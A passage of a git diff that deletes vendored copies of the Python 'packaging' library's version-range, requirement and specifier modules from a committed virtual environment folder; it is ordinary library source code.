- configured = self._prereleases_configured - - if self._reject: - return None - if self._admit_arbitrary and self._bounds != FULL_RANGE: - return None - if self.is_empty: - # Every member-free spelling accepts the same versions (none), so the - # canonical ``<0`` stands in for all of them; a configured policy - # rides along it. - return SpecifierSet("<0", prereleases=configured) - - if not self._bounds: - # Pure ``===`` literals; only a single literal has a single-set form. - if len(self._admit) != 1: - return None - (literal,) = self._admit - bases = [f"==={literal}"] - elif self._admit: - # Bounds plus literals cannot be one set. - return None - elif self._bounds == FULL_RANGE: - bases = ["" if self._admit_arbitrary else ">=0.dev0"] - else: - # Under ``prereleases=False`` an exclusive final upper admits the same - # releases as ``=0.dev0`` floor restores a ``True`` opt-in that - # rode on a floor the clean encoding dropped (e.g. ``>=0.dev0,!=1.0``). - # It always recovers the whole bounds as the opt-in region, so it can - # only round-trip when self opts everything in. - add_floor = configured is None and self._pre_region == self._bounds - - # Keep the simplest candidate that recovers self. ``==`` compares bounds, - # literals, and the opt-in region, so a candidate that would filter - # differently, or an op-built range with no single-set form, is rejected - # below. Under ``prereleases=False`` a candidate need only match self's - # releases (policies never mix, so the excluded pre-releases are - # unobservable), which admits the tightened spellings above. - best: SpecifierSet | None = None - best_key = (0, 0) - - for base in bases: - candidates = [base] - if add_floor: - candidates.append(f"{base},>=0.dev0" if base else ">=0.dev0") - - for spec_str in candidates: - # A ``===`` literal can hold a comma (its arbitrary version - # excludes only whitespace, ``;`` and ``)``), which the set - # string splits on. Such a literal has no single specifier-set - # spelling, so drop the unparsable candidate and let the range - # fall through to ``None`` rather than raise. - try: - recovered = SpecifierSet(spec_str, prereleases=configured) - except InvalidSpecifier: - continue - # Fewest fragments, then shortest string. Rank before the round - # trip so a candidate that cannot beat the best skips the check - # (its ``==`` and, under ``False``, two ``difference`` calls). - key = (len(recovered), len(str(recovered))) - if best is not None and key >= best_key: - continue - - # Accept an exact round trip, or (under ``False``) one that only - # matches the releases the policy leaves observable. - candidate = recovered.to_range() - matches = candidate == self or ( - configured is False and self._same_releases(candidate) - ) - if matches: - best, best_key = recovered, key - - return best - - @property - def is_empty(self) -> bool: - """``True`` if no version or string satisfies this range. - - Agrees with :meth:`~packaging.specifiers.SpecifierSet.is_unsatisfiable`, - including the pre-release policy: a range whose only members are - pre-releases is empty when that policy excludes them. - - >>> SpecifierSet(">=2,<1").to_range().is_empty - True - >>> SpecifierSet(">=1,<2").to_range().is_empty - False - >>> SpecifierSet("==1.0a1", prereleases=False).to_range().is_empty - True - """ - # An arbitrary-string admission or a surviving ``===`` literal is a - # member; a literal that is a pre-release is dropped when the policy is. - if self._arbitrary_active(): - return False - - excludes_prereleases = self._prereleases_configured is False - for literal in self._admit: - if excludes_prereleases: - parsed = coerce_version(literal) - if parsed is not None and parsed.is_prerelease: - continue - return False - - if not self._bounds: - return True - - return excludes_prereleases and ranges_are_prerelease_only(self._bounds) - - def contains( - self, - item: Version | str, - prereleases: bool | None = None, - installed: bool | None = None, - ) -> bool: - """Return whether item is contained in this range. - - :param item: a version string or :class:`~packaging.version.Version`. - :param prereleases: whether to match pre-releases. ``None`` (default) - uses the range's own policy. - :param installed: when ``True``, accept a pre-release item even if the - range would not otherwise allow it. - - Unlike :meth:`filter`, this does not consult the autodetected pre-release - opt-in region; it reads only the configured policy. This mirrors - :meth:`~packaging.specifiers.SpecifierSet.contains` versus - :meth:`~packaging.specifiers.SpecifierSet.filter`. - - Unparsable strings do not match, except where the full - ``SpecifierSet`` would also match: the full range admits any string, - and a ``===`` range admits items equal to the literal - case-insensitively. - - >>> r = SpecifierSet(">=1.0,<2.0").to_range() - >>> r.contains("1.5") - True - >>> r.contains("2.0") - False - - :raises TypeError: if item is not a str or Version. - """ - if not isinstance(item, (str, Version)): - raise TypeError( - f"VersionRange.contains() expected str or Version, " - f"got {type(item).__name__}" - ) - - parsed: Version | None = item if isinstance(item, Version) else None - if installed and parsed is None: - parsed = coerce_version(item) - if installed and parsed is not None and parsed.is_prerelease: - prereleases = True - - effective_pre = ( - self._prereleases_configured if prereleases is None else prereleases - ) - - if self._admit or self._reject: - item_str = str(item).lower() - if item_str in self._reject: - return False - if item_str in self._admit: - if effective_pre is False: - literal_parsed = coerce_version(item_str) - if literal_parsed is not None and literal_parsed.is_prerelease: - return False - return True - - if not isinstance(item, Version): - if parsed is None: - parsed = coerce_version(item) - if parsed is None: - return self._arbitrary_active() - item = parsed - - if effective_pre is False and item.is_prerelease: - return False - return matches_bounds_only(self._bounds, item) - - def __contains__(self, item: Version | str) -> bool: - """Return whether item is contained in this range. - - Forwards to :meth:`contains` with default arguments. - - >>> "1.5" in SpecifierSet(">=1.0,<2.0").to_range() - True - """ - return self.contains(item) - - def __eq__(self, other: object) -> bool: - """Structural equality. - - Compares the bounds, the ``===`` admit/reject literals, the - arbitrary-string flag, the configured pre-release policy, and the - opt-in region, not just the version set. Keying on the region makes - equality a congruence (equal ranges stay equal under further operations), - so equal implies same :meth:`contains` and :meth:`filter`, but not the - converse: an empty range keeps the flag it was built with, so two empty - ranges need not be equal. - - Different specifiers for the same range fold to one canonical form: - - >>> SpecifierSet(">1.0a1").to_range() == SpecifierSet(">=1.0a2.dev0").to_range() - True - - The opt-in region is part of equality, so ``<=1.0`` (no pre-releases) and - ``<1.0.post0.dev0`` (autodetects a ``.dev`` opt-in) cover the same - versions yet compare unequal: - - >>> le, lt = SpecifierSet("<=1.0"), SpecifierSet("<1.0.post0.dev0") - >>> le.to_range() == lt.to_range() - False - - >>> r = SpecifierSet(">=1.0,<2.0").to_range() - >>> r == SpecifierSet(">=1.0,<2.0").to_range() - True - """ - if not isinstance(other, VersionRange): - return NotImplemented - return ( - self._bounds == other._bounds - and self._admit == other._admit - and self._reject == other._reject - and self._admit_arbitrary == other._admit_arbitrary - and self._prereleases_configured == other._prereleases_configured - and self._pre_region == other._pre_region - ) - - def __hash__(self) -> int: - return hash( - ( - self._bounds, - self._admit, - self._reject, - self._admit_arbitrary, - self._prereleases_configured, - self._pre_region, - ) - ) - - def __repr__(self) -> str: - """Human-readable representation for debugging. - - >>> SpecifierSet(">=1.0,<2.0").to_range() - - >>> SpecifierSet("").to_range() - - >>> SpecifierSet(">=2.0,<1.0").to_range() - - """ - # Body: the bounds and any ``===``-admitted literals. - parts: list[str] = [] - if self._bounds: - parts.append(_format_intervals(self._bounds)) - if self._admit: - parts.append("{" + ", ".join(sorted(self._admit)) + "}") - body = " | ".join(parts) if parts else "(empty)" - - # Rejected literals subtract from the body. - if self._reject: - body = f"{body} \\ {{{', '.join(sorted(self._reject))}}}" - - # Tail: the policy flags carried alongside the version set. - tail = "" - if self._admit_arbitrary: - tail += " arbitrary" - if self._prereleases_configured is not None: - tail += f" pre={self._prereleases_configured}" - if self._pre_region: - tail += f" pre-region={_format_intervals(self._pre_region)!r}" - - return f"<{self.__class__.__name__} {body!r}{tail}>" diff --git a/venv/Lib/site-packages/packaging/requirements.py b/venv/Lib/site-packages/packaging/requirements.py deleted file mode 100644 index adcc8adbb7459a27a30e866e992df019369ca33a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging/requirements.py +++ /dev/null @@ -1,192 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. -from __future__ import annotations - -from typing import TYPE_CHECKING - -from ._parser import parse_requirement as _parse_requirement -from ._tokenizer import ParserSyntaxError -from .markers import Marker, _normalize_extra_values -from .specifiers import InvalidSpecifier, SpecifierSet -from .utils import canonicalize_name - -if TYPE_CHECKING: - from collections.abc import Iterator - -__all__ = [ - "InvalidRequirement", - "Requirement", -] - - -def __dir__() -> list[str]: - return __all__ - - -class InvalidRequirement(ValueError): - """ - An invalid requirement was found, users should refer to PEP 508. - - .. versionadded:: 16.1 - """ - - -class Requirement: - """Parse a requirement. - - Parse a given requirement string into its parts, such as name, specifier, - URL, and extras. Raises InvalidRequirement on a badly-formed requirement - string. - - .. versionadded:: 16.1 - - .. versionchanged:: 22.0 - Added equality (``__eq__``) and hashing (``__hash__``) so requirements - can be compared and stored in sets / dicts. - - .. versionchanged:: 23.2 - Equality and hashing began canonicalizing requirement names, so - requirements whose names differ only by normalization (e.g. - ``Requirement("Foo")`` vs ``Requirement("foo")``) now compare and hash - equal. - - Instances are safe to serialize with :mod:`pickle`. They use a stable - format so the same pickle can be loaded in future packaging releases. - - .. versionchanged:: 26.2 - - Added a stable pickle format. Pickles created with packaging 26.2+ can - be unpickled with future releases. Backward compatibility with pickles - from packaging < 26.2 is supported but may be removed in a future - release. - - .. versionchanged:: 26.3 - - The dedicated pickle support introduced in 26.2 did not preserve the - specifier's explicit :attr:`~packaging.specifiers.SpecifierSet.prereleases` - override; it is now included again. - - Equality and hashing normalize requirement names, extras, and - equivalent specifiers. The string representation still preserves the - parsed name and extras spelling. - """ - - # TODO: Can we test whether something is contained within a requirement? - # If so how do we do that? Do we need to test against the _name_ of - # the thing as well as the version? What about the markers? - # TODO: Can we normalize the name and extra name? - - __slots__ = ("extras", "marker", "name", "specifier", "url") - - def __init__(self, requirement_string: str) -> None: - try: - parsed = _parse_requirement(requirement_string) - except ParserSyntaxError as e: - raise InvalidRequirement(str(e)) from e - - self.name: str = parsed.name - self.url: str | None = parsed.url or None - self.extras: set[str] = set(parsed.extras) - try: - self.specifier: SpecifierSet = SpecifierSet(parsed.specifier) - except InvalidSpecifier as e: - raise InvalidRequirement(str(e)) from e - self.marker: Marker | None = None - if parsed.marker is not None: - self.marker = Marker.__new__(Marker) - self.marker._markers = _normalize_extra_values(parsed.marker) - - def _iter_parts(self, name: str) -> Iterator[str]: - yield name - - if self.extras: - formatted_extras = ",".join(sorted(self.extras)) - yield f"[{formatted_extras}]" - - if self.specifier: - yield str(self.specifier) - - if self.url: - yield f" @ {self.url}" - if self.marker: - yield " " - - if self.marker: - yield f"; {self.marker}" - - def __getstate__(self) -> tuple[str, bool | None]: - # Return the requirement string for compactness and stability, paired - # with the specifier's explicit prereleases override, which is not - # captured by the string form. Re-parsed on load to reconstruct all - # other fields. - return (str(self), self.specifier._prereleases) - - def __setstate__(self, state: object) -> None: - if isinstance(state, str): - # Format (26.2): just the requirement string. - requirement_string: str = state - prereleases: bool | None = None - elif ( - isinstance(state, tuple) - and len(state) == 2 - and isinstance(state[0], str) - and (state[1] is None or isinstance(state[1], bool)) - ): - # New format (26.3+): (requirement string, specifier prereleases). - requirement_string, prereleases = state - elif isinstance(state, dict) and state.keys() >= set(self.__slots__): - # Old format (packaging <= 26.1, no __slots__): plain __dict__. - for key in self.__slots__: - setattr(self, key, state[key]) - return - else: - raise TypeError(f"Cannot restore Requirement from {state!r}") - - try: - tmp = Requirement(requirement_string) - except InvalidRequirement as exc: - raise TypeError(f"Cannot restore Requirement from {state!r}") from exc - self.name = tmp.name - self.url = tmp.url - self.extras = tmp.extras - self.specifier = tmp.specifier - self.specifier._prereleases = prereleases - self.marker = tmp.marker - - def __str__(self) -> str: - return "".join(self._iter_parts(self.name)) - - def __repr__(self) -> str: - return f"<{self.__class__.__name__}({str(self)!r})>" - - def __hash__(self) -> int: - # Mirror __eq__ by hashing the canonical specifier object rather than - # its raw string. ``_iter_parts`` yields ``str(self.specifier)``, which - # is non-canonical, so trailing-zero-equivalent requirements such as - # ``foo==1.0.0`` and ``foo==1.0.0.0`` (which compare equal) would - # otherwise hash differently, breaking the hash/__eq__ invariant. - return hash( - ( - canonicalize_name(self.name), - frozenset(canonicalize_name(e) for e in self.extras), - self.specifier, - self.url, - self.marker, - ) - ) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, Requirement): - return NotImplemented - - # Extras must be normalized before comparison as per PEP 685. - self_extras = frozenset(canonicalize_name(e) for e in self.extras) - other_extras = frozenset(canonicalize_name(e) for e in other.extras) - return ( - canonicalize_name(self.name) == canonicalize_name(other.name) - and self_extras == other_extras - and self.specifier == other.specifier - and self.url == other.url - and self.marker == other.marker - ) diff --git a/venv/Lib/site-packages/packaging/specifiers.py b/venv/Lib/site-packages/packaging/specifiers.py deleted file mode 100644 index a6a61af424c7a203b16b371b797ee2d08332e0b5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging/specifiers.py +++ /dev/null @@ -1,1457 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. -""" -.. testsetup:: - - from packaging.specifiers import Specifier, SpecifierSet, InvalidSpecifier - from packaging.version import Version -""" - -from __future__ import annotations - -import abc -import re -import typing -from typing import ( - TYPE_CHECKING, - Any, - Callable, - Final, - TypeVar, - Union, -) - -from ._ranges import ( - FULL_RANGE, - bounds_for_spec, - coerce_version, - filter_by_ranges, - intersect_specifier_bounds, - matches_bounds_only, - ranges_are_prerelease_only, - resolve_prereleases, - trim_release, -) -from .utils import canonicalize_version -from .version import Version - -if TYPE_CHECKING: - import sys - from collections.abc import Iterable, Iterator, Sequence - - if sys.version_info >= (3, 10): - from typing import TypeGuard - else: - from typing_extensions import TypeGuard - - from . import ranges - from ._ranges import Interval - - -__all__ = [ - "BaseSpecifier", - "InvalidSpecifier", - "Specifier", - "SpecifierSet", -] - - -def __dir__() -> list[str]: - return __all__ - - -def _validate_spec(spec: object, /) -> TypeGuard[tuple[str, str]]: - return ( - isinstance(spec, tuple) - and len(spec) == 2 - and isinstance(spec[0], str) - and isinstance(spec[1], str) - ) - - -def _validate_pre(pre: object, /) -> TypeGuard[bool | None]: - return pre is None or isinstance(pre, bool) - - -T = TypeVar("T") -UnparsedVersion = Union[Version, str] -UnparsedVersionVar = TypeVar("UnparsedVersionVar", bound=UnparsedVersion) - - -# Operators whose result is just a direct Version comparison, given a parsed -# item with no local. ``<=``/``==``/``!=`` need that no-local guard because -# PEP 440 strips locals on those; ``>=`` works regardless. -_DIRECT_COMPARE_OPS: dict[str, Callable[[Version, Version], bool]] = { - ">=": Version.__ge__, - "<=": Version.__le__, - "==": Version.__eq__, - "!=": Version.__ne__, -} - - -def _fast_match(specifier: Specifier, parsed: Version) -> bool | None: - """Match ``parsed`` against ``specifier`` without building a range. - - Handles ``>=``, ``<=``, ``==``, ``!=``, ``<``, ``>`` when the spec is - not a wildcard and ``parsed`` has no local. Returns ``None`` when the - range path must be used. Pre-release policy is left to the caller. - """ - op_str, ver_str = specifier._spec - if ver_str.endswith(".*") or parsed.local is not None: - return None - - direct_compare = _DIRECT_COMPARE_OPS.get(op_str) - if direct_compare is not None: - return direct_compare(parsed, specifier._require_spec_version(ver_str)) - - if op_str in ("<", ">"): - spec_v = specifier._require_spec_version(ver_str) - # ``V`` carve out V's family (pre/dev/post); that only - # matters when parsed shares V's epoch and trimmed release. - # Otherwise a direct cmpkey comparison is correct. - if parsed.epoch != spec_v.epoch or trim_release(parsed.release) != trim_release( - spec_v.release - ): - return parsed < spec_v if op_str == "<" else parsed > spec_v - return None - - return None - - -class InvalidSpecifier(ValueError): - """ - Raised when attempting to create a :class:`Specifier` with a specifier - string that is invalid. - - >>> Specifier("lolwat") - Traceback (most recent call last): - ... - packaging.specifiers.InvalidSpecifier: Invalid specifier: 'lolwat' - """ - - -class BaseSpecifier(metaclass=abc.ABCMeta): - """ - Abstract base class for :class:`Specifier` and :class:`SpecifierSet`. - """ - - __slots__ = () - __match_args__ = ("_str",) - - @property - def _str(self) -> str: - """Internal property for match_args""" - return str(self) - - @abc.abstractmethod - def __str__(self) -> str: - """ - Returns the str representation of this Specifier-like object. This - should be representative of the Specifier itself. - """ - - @abc.abstractmethod - def __hash__(self) -> int: - """ - Returns a hash value for this Specifier-like object. - """ - - @abc.abstractmethod - def __eq__(self, other: object) -> bool: - """ - Returns a boolean representing whether or not the two Specifier-like - objects are equal. - - :param other: The other object to check against. - """ - - @property - @abc.abstractmethod - def prereleases(self) -> bool | None: - """Whether or not pre-releases as a whole are allowed. - - This can be set to either ``True`` or ``False`` to explicitly enable or disable - prereleases or it can be set to ``None`` (the default) to use default semantics. - """ - - @prereleases.setter # noqa: B027 - def prereleases(self, value: bool) -> None: - """Setter for :attr:`prereleases`. - - :param value: The value to set. - """ - - @abc.abstractmethod - def contains(self, item: str, prereleases: bool | None = None) -> bool: - """ - Determines if the given item is contained within this specifier. - """ - - @typing.overload - def filter( - self, - iterable: Iterable[UnparsedVersionVar], - prereleases: bool | None = None, - key: None = ..., - ) -> Iterator[UnparsedVersionVar]: ... - - @typing.overload - def filter( - self, - iterable: Iterable[T], - prereleases: bool | None = None, - key: Callable[[T], UnparsedVersion] = ..., - ) -> Iterator[T]: ... - - @abc.abstractmethod - def filter( - self, - iterable: Iterable[Any], - prereleases: bool | None = None, - key: Callable[[Any], UnparsedVersion] | None = None, - ) -> Iterator[Any]: - """ - Takes an iterable of items and filters them so that only items which - are contained within this specifier are allowed in it. - """ - - -class Specifier(BaseSpecifier): - """This class abstracts handling of version specifiers. - - .. tip:: - - It is generally not required to instantiate this manually. You should instead - prefer to work with :class:`SpecifierSet` instead, which can parse - comma-separated version specifiers (which is what package metadata contains). - - Instances are safe to serialize with :mod:`pickle`. They use a stable - format so the same pickle can be loaded in future packaging releases. - - .. versionchanged:: 26.2 - - Added a stable pickle format. Pickles created with packaging 26.2+ can - be unpickled with future releases. Backward compatibility with pickles - from packaging < 26.2 is supported but may be removed in a future - release. - """ - - __slots__ = ( - "_prereleases", - "_ranges", - "_spec", - "_spec_version", - ) - - _specifier_regex_str = r""" - (?: - (?: - # The identity operators allow for an escape hatch that will - # do an exact string match of the version you wish to install. - # This will not be parsed by PEP 440 and we cannot determine - # any semantic meaning from it. This operator is discouraged - # but included entirely as an escape hatch. - === # Only match for the identity operator - \s* - [^\s;)]* # The arbitrary version can be just about anything, - # we match everything except for whitespace, a - # semi-colon for marker support, and a closing paren - # since versions can be enclosed in them. - ) - | - (?: - # The (non)equality operators allow for wild card and local - # versions to be specified so we have to define these two - # operators separately to enable that. - (?:==|!=) # Only match for equals and not equals - - \s* - v? - (?:[0-9]+!)? # epoch - [0-9]+(?:\.[0-9]+)* # release - - # You cannot use a wild card and a pre-release, post-release, a dev or - # local version together so group them with a | and make them optional. - (?: - \.\* # Wild card syntax of .* - | - (?a: # pre release - [-_\.]? - (alpha|beta|preview|pre|a|b|c|rc) - [-_\.]? - [0-9]* - )? - (?a: # post release - (?:-[0-9]+)|(?:[-_\.]?(post|rev|r)[-_\.]?[0-9]*) - )? - (?a:[-_\.]?dev[-_\.]?[0-9]*)? # dev release - (?a:\+[a-z0-9]+(?:[-_\.][a-z0-9]+)*)? # local - )? - ) - | - (?: - # The compatible operator requires at least two digits in the - # release segment. - (?:~=) # Only match for the compatible operator - - \s* - v? - (?:[0-9]+!)? # epoch - [0-9]+(?:\.[0-9]+)+ # release (We have a + instead of a *) - (?: # pre release - [-_\.]? - (alpha|beta|preview|pre|a|b|c|rc) - [-_\.]? - [0-9]* - )? - (?: # post release - (?:-[0-9]+)|(?:[-_\.]?(post|rev|r)[-_\.]?[0-9]*) - )? - (?:[-_\.]?dev[-_\.]?[0-9]*)? # dev release - ) - | - (?: - # All other operators only allow a sub set of what the - # (non)equality operators do. Specifically they do not allow - # local versions to be specified nor do they allow the prefix - # matching wild cards. - (?:<=|>=|<|>) - - \s* - v? - (?:[0-9]+!)? # epoch - [0-9]+(?:\.[0-9]+)* # release - (?a: # pre release - [-_\.]? - (alpha|beta|preview|pre|a|b|c|rc) - [-_\.]? - [0-9]* - )? - (?a: # post release - (?:-[0-9]+)|(?:[-_\.]?(post|rev|r)[-_\.]?[0-9]*) - )? - (?a:[-_\.]?dev[-_\.]?[0-9]*)? # dev release - ) - ) - """ - - _regex = re.compile( - r"\s*" + _specifier_regex_str + r"\s*", re.VERBOSE | re.IGNORECASE - ) - - # Legacy unused attribute, kept for backward compatibility - _operators: Final = { - "~=": "compatible", - "==": "equal", - "!=": "not_equal", - "<=": "less_than_equal", - ">=": "greater_than_equal", - "<": "less_than", - ">": "greater_than", - "===": "arbitrary", - } - - def __init__(self, spec: str = "", prereleases: bool | None = None) -> None: - """Initialize a Specifier instance. - - :param spec: - The string representation of a specifier which will be parsed and - normalized before use. - :param prereleases: - This tells the specifier if it should accept prerelease versions if - applicable or not. The default of ``None`` will autodetect it from the - given specifiers. - :raises InvalidSpecifier: - If the given specifier is invalid (i.e. bad syntax). - """ - if not self._regex.fullmatch(spec): - raise InvalidSpecifier(f"Invalid specifier: {spec!r}") - - spec = spec.strip() - if spec.startswith("==="): - operator, version = spec[:3], spec[3:].strip() - elif spec.startswith(("~=", "==", "!=", "<=", ">=")): - operator, version = spec[:2], spec[2:].strip() - else: - operator, version = spec[:1], spec[1:].strip() - - self._spec: tuple[str, str] = (operator, version) - - # Store whether or not this Specifier should accept prereleases - self._prereleases = prereleases - - # Specifier version cache - self._spec_version: tuple[str, Version] | None = None - - # Version range cache (populated by _to_ranges) - self._ranges: Sequence[Interval] | None = None - - def _get_spec_version(self, version: str) -> Version | None: - """One element cache, as only one spec Version is needed per Specifier.""" - if self._spec_version is not None and self._spec_version[0] == version: - return self._spec_version[1] - - version_specifier = coerce_version(version) - if version_specifier is None: - return None - - self._spec_version = (version, version_specifier) - return version_specifier - - def _require_spec_version(self, version: str) -> Version: - """Get spec version, asserting it's valid (not for === operator). - - This method should only be called for operators where version - strings are guaranteed to be valid PEP 440 versions (not ===). - """ - spec_version = self._get_spec_version(version) - assert spec_version is not None - return spec_version - - def _to_ranges(self) -> Sequence[Interval]: - """Convert this specifier to sorted, non-overlapping version ranges. - - Each standard operator maps to one or two ranges. ``===`` is - modeled as full range (actual check done separately). Cached. - """ - if self._ranges is not None: - return self._ranges - - op = self.operator - ver_str = self.version - - if op == "===": - result: Sequence[Interval] = FULL_RANGE - else: - version = self._require_spec_version(ver_str.removesuffix(".*")) - result = bounds_for_spec(op, ver_str, version) - - self._ranges = result - return result - - @property - def prereleases(self) -> bool | None: - # If there is an explicit prereleases set for this, then we'll just - # blindly use that. - if self._prereleases is not None: - return self._prereleases - - # Only the "!=" operator does not imply prereleases when - # the version in the specifier is a prerelease. - operator, version_str = self._spec - if operator == "!=": - return False - - # The == specifier with trailing .* cannot include prereleases - # e.g. "==1.0a1.*" is not valid. - if operator == "==" and version_str.endswith(".*"): - return False - - # "===" can have arbitrary string versions, so we cannot parse - # those, we take prereleases as unknown (None) for those. - version = self._get_spec_version(version_str) - if version is None: - return None - - # For all other operators, use the check if spec Version - # object implies pre-releases. - return version.is_prerelease - - @prereleases.setter - def prereleases(self, value: bool | None) -> None: - self._prereleases = value - - def __getstate__(self) -> tuple[tuple[str, str], bool | None]: - # Return state as a 2-item tuple for compactness: - # ((operator, version), prereleases) - # Cache members are excluded and will be recomputed on demand. - return (self._spec, self._prereleases) - - def __setstate__(self, state: object) -> None: - # Always discard cached values - they will be recomputed on demand. - self._spec_version = None - self._ranges = None - - if isinstance(state, tuple): - if len(state) == 2: - # New format (26.2+): ((operator, version), prereleases) - spec, prereleases = state - if _validate_spec(spec) and _validate_pre(prereleases): - self._spec = spec - self._prereleases = prereleases - return - if len(state) == 2 and isinstance(state[1], dict): - # Format (packaging 26.0-26.1): (None, {slot: value}). - _, slot_dict = state - spec = slot_dict.get("_spec") - prereleases = slot_dict.get("_prereleases", "invalid") - if _validate_spec(spec) and _validate_pre(prereleases): - self._spec = spec - self._prereleases = prereleases - return - if isinstance(state, dict): - # Old format (packaging <= 25.x, no __slots__): state is a plain dict. - spec = state.get("_spec") - prereleases = state.get("_prereleases", "invalid") - if _validate_spec(spec) and _validate_pre(prereleases): - self._spec = spec - self._prereleases = prereleases - return - - raise TypeError(f"Cannot restore Specifier from {state!r}") - - @property - def operator(self) -> str: - """The operator of this specifier. - - >>> Specifier("==1.2.3").operator - '==' - """ - return self._spec[0] - - @property - def version(self) -> str: - """The version of this specifier. - - >>> Specifier("==1.2.3").version - '1.2.3' - """ - return self._spec[1] - - def __repr__(self) -> str: - """A representation of the Specifier that shows all internal state. - - >>> Specifier('>=1.0.0') - =1.0.0')> - >>> Specifier('>=1.0.0', prereleases=False) - =1.0.0', prereleases=False)> - >>> Specifier('>=1.0.0', prereleases=True) - =1.0.0', prereleases=True)> - """ - pre = ( - f", prereleases={self.prereleases!r}" - if self._prereleases is not None - else "" - ) - - return f"<{self.__class__.__name__}({str(self)!r}{pre})>" - - def __str__(self) -> str: - """A string representation of the Specifier that can be round-tripped. - - >>> str(Specifier('>=1.0.0')) - '>=1.0.0' - >>> str(Specifier('>=1.0.0', prereleases=False)) - '>=1.0.0' - """ - return "{}{}".format(*self._spec) - - @property - def _canonical_spec(self) -> tuple[str, str]: - operator, version = self._spec - if operator == "===" or version.endswith(".*"): - return operator, version - - spec_version = self._require_spec_version(version) - - canonical_version = canonicalize_version( - spec_version, strip_trailing_zero=(operator != "~=") - ) - - return operator, canonical_version - - def __hash__(self) -> int: - return hash(self._canonical_spec) - - def __eq__(self, other: object) -> bool: - """Whether or not the two Specifier-like objects are equal. - - :param other: The other object to check against. - - The value of :attr:`prereleases` is ignored. - - >>> Specifier("==1.2.3") == Specifier("== 1.2.3.0") - True - >>> (Specifier("==1.2.3", prereleases=False) == - ... Specifier("==1.2.3", prereleases=True)) - True - >>> Specifier("==1.2.3") == "==1.2.3" - True - >>> Specifier("==1.2.3") == Specifier("==1.2.4") - False - >>> Specifier("==1.2.3") == Specifier("~=1.2.3") - False - """ - if isinstance(other, str): - try: - other = self.__class__(str(other)) - except InvalidSpecifier: - return NotImplemented - elif not isinstance(other, self.__class__): - return NotImplemented - - return self._canonical_spec == other._canonical_spec - - def __contains__(self, item: str | Version) -> bool: - """Return whether or not the item is contained in this specifier. - - :param item: The item to check for. - - This is used for the ``in`` operator and behaves the same as - :meth:`contains` with no ``prereleases`` argument passed. - - >>> "1.2.3" in Specifier(">=1.2.3") - True - >>> Version("1.2.3") in Specifier(">=1.2.3") - True - >>> "1.0.0" in Specifier(">=1.2.3") - False - >>> "1.3.0a1" in Specifier(">=1.2.3") - True - >>> "1.3.0a1" in Specifier(">=1.2.3", prereleases=True) - True - """ - return self.contains(item) - - def contains(self, item: UnparsedVersion, prereleases: bool | None = None) -> bool: - """Return whether or not the item is contained in this specifier. - - :param item: - The item to check for, which can be a version string or a - :class:`~packaging.version.Version` instance. - :param prereleases: - Whether or not to match prereleases with this Specifier. If set to - ``None`` (the default), it will follow the recommendation from - :pep:`440` and match prereleases, as there are no other versions. - - >>> Specifier(">=1.2.3").contains("1.2.3") - True - >>> Specifier(">=1.2.3").contains(Version("1.2.3")) - True - >>> Specifier(">=1.2.3").contains("1.0.0") - False - >>> Specifier(">=1.2.3").contains("1.3.0a1") - True - >>> Specifier(">=1.2.3", prereleases=False).contains("1.3.0a1") - False - >>> Specifier(">=1.2.3").contains("1.3.0a1") - True - - .. versionchanged:: 26.0 - - With ``prereleases=None``, a prerelease now matches. A single - version has no alternatives, so the :pep:`440` rule to accept - prereleases when nothing else satisfies the specifier applies. - Earlier versions rejected it. An unparsable version now returns - ``False`` instead of raising :exc:`~packaging.version.InvalidVersion`. - """ - # ``===`` compares the raw string, so a Version parse here would - # be wasted. - if self._spec[0] == "===": - return bool(list(self.filter([item], prereleases=prereleases))) - - parsed = coerce_version(item) - if parsed is None: - # Standard operators never match an unparsable input. - return False - - if prereleases is None: - prereleases = resolve_prereleases(self._prereleases, self.prereleases) - - if prereleases is False and parsed.is_prerelease: - return False - - # ``_fast_match`` answers the simple operators without building a - # range; otherwise fall back to the engine's bounds membership. - match = _fast_match(self, parsed) - if match is not None: - return match - - return matches_bounds_only(self._to_ranges(), parsed) - - @typing.overload - def filter( - self, - iterable: Iterable[UnparsedVersionVar], - prereleases: bool | None = None, - key: None = ..., - ) -> Iterator[UnparsedVersionVar]: ... - - @typing.overload - def filter( - self, - iterable: Iterable[T], - prereleases: bool | None = None, - key: Callable[[T], UnparsedVersion] = ..., - ) -> Iterator[T]: ... - - def filter( - self, - iterable: Iterable[Any], - prereleases: bool | None = None, - key: Callable[[Any], UnparsedVersion] | None = None, - ) -> Iterator[Any]: - """Filter items in the given iterable, that match the specifier. - - :param iterable: - An iterable that can contain version strings and - :class:`~packaging.version.Version` instances. The items in the - iterable will be filtered according to the specifier. - :param prereleases: - Whether or not to allow prereleases in the returned iterator. If set to - ``None`` (the default), it will follow the recommendation from :pep:`440` - and match prereleases if there are no other versions. - :param key: - A callable that takes a single argument (an item from the iterable) and - returns a version string or :class:`~packaging.version.Version` - instance to be used for filtering. - - >>> list(Specifier(">=1.2.3").filter(["1.2", "1.3", "1.5a1"])) - ['1.3'] - >>> list(Specifier(">=1.2.3").filter(["1.2", "1.2.3", "1.3", Version("1.4")])) - ['1.2.3', '1.3', ] - >>> list(Specifier(">=1.2.3").filter(["1.2", "1.5a1"])) - ['1.5a1'] - >>> list(Specifier(">=1.2.3").filter(["1.3", "1.5a1"], prereleases=True)) - ['1.3', '1.5a1'] - >>> list(Specifier(">=1.2.3", prereleases=True).filter(["1.3", "1.5a1"])) - ['1.3', '1.5a1'] - >>> list(Specifier(">=1.2.3").filter( - ... [{"ver": "1.2"}, {"ver": "1.3"}], - ... key=lambda x: x["ver"])) - [{'ver': '1.3'}] - - .. versionchanged:: 26.1 - - Added the ``key`` parameter. - """ - if prereleases is None: - prereleases = resolve_prereleases(self._prereleases, self.prereleases) - - if self.operator == "===": - spec_lower = self.version.lower() - matches = ( - item - for item in iterable - if str(item if key is None else key(item)).lower() == spec_lower - ) - return _apply_prereleases_filter(matches, key, prereleases) - - return filter_by_ranges(self._to_ranges(), iterable, key, prereleases) - - -def _apply_prereleases_filter( - matches: Iterable[Any], - key: Callable[[Any], UnparsedVersion] | None, - prereleases: bool | None, -) -> Iterator[Any]: - """Apply ``prereleases=`` handling to an already-matched iterable. - - ``None`` means PEP 440 